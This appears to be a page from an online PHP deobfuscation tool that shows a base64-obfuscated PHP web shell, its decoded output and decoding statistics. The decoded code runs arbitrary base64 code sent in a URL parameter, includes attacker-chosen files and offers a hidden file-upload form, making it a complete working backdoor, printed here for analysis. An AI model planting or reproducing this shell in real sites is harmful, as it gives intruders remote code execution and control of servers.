Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyAkaW49JF9HRVRbImluIl07aWYoaXNzZXQoJGlu..

Decoded Output download

error_reporting(0); $in=$_GET["in"];if(isset($in)&&!empty($in)){echoeval(base64_decode("ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=="));}$ev=$_GET["ev"];if(isset($ev)&&!empty($ev)){eval(base64_decode($ev));exit;}if($_GET["send"]=="ok"){echo"<form action='' method='post' enctype='multipart/form-data' name='country' id='country'><input type='file' name='file' size='50'><input name='_con' type='submit' id='_con' value='home'></form> ";if($_POST["_con"]=="home"){if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){echo"done :d";}else{echo"error";}}exit;}

Did this file decode correctly?

Original Code

<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyAkaW49JF9HRVRbImluIl07aWYoaXNzZXQoJGluKSYmIWVtcHR5KCRpbikpe2VjaG9AZXZhbChiYXNlNjRfZGVjb2RlKCJaR2xsS0dsdVkyeDFaR1ZmYjI1alpTQWthVzRwT3c9PSIpKTt9JGV2PSRfR0VUWyJldiJdO2lmKGlzc2V0KCRldikmJiFlbXB0eSgkZXYpKXtldmFsKGJhc2U2NF9kZWNvZGUoJGV2KSk7ZXhpdDt9aWYoJF9HRVRbInNlbmQiXT09Im9rIil7ZWNobyI8Zm9ybSBhY3Rpb249JycgbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJyBuYW1lPSdjb3VudHJ5JyBpZD0nY291bnRyeSc+PGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIHNpemU9JzUwJz48aW5wdXQgbmFtZT0nX2NvbicgdHlwZT0nc3VibWl0JyBpZD0nX2NvbicgdmFsdWU9J2hvbWUnPjwvZm9ybT4gIjtpZigkX1BPU1RbIl9jb24iXT09ImhvbWUiKXtpZihAY29weSgkX0ZJTEVTWyJmaWxlIl1bInRtcF9uYW1lIl0sJF9GSUxFU1siZmlsZSJdWyJuYW1lIl0pKXtlY2hvImRvbmUgOmQiO31lbHNle2VjaG8iZXJyb3IiO319ZXhpdDt9")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 7bc097a57d7b5daec615afe497deea16
Eval Count 1
Decode Time 107 ms